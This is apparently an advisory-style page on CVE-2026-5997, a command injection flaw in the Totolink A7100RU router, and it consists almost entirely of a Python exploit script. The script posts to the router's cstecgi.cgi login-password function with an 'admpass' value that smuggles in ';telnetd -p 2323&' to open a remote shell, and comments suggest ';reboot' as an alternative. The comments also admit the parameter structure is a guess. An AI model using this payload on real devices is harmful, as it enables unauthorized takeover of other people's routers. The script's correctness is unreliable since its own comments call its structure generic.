CVE-2026-5997 Totolink A7100RU OS命令注入漏洞

import requests # Target URL target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Headers headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "uid=1234" # Some devices might check cookies, though PR:N implies often not strictly required for this vuln } # Vulnerable payload: Injecting a command to reboot or create a user # Example: ;reboot or ;telnetd -p 2323 payload = "admpass=123456;telnetd -p 2323&" data = { "function": "setLoginPasswordCfg", payload: "" } # Note: The actual parameter structure depends on the specific firmware implementation. # This is a generic demonstration based on the description of 'admpass' manipulation. # Usually, the payload is sent as POST data. response = requests.post(target_url, headers=headers, data=data, verify=False) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}")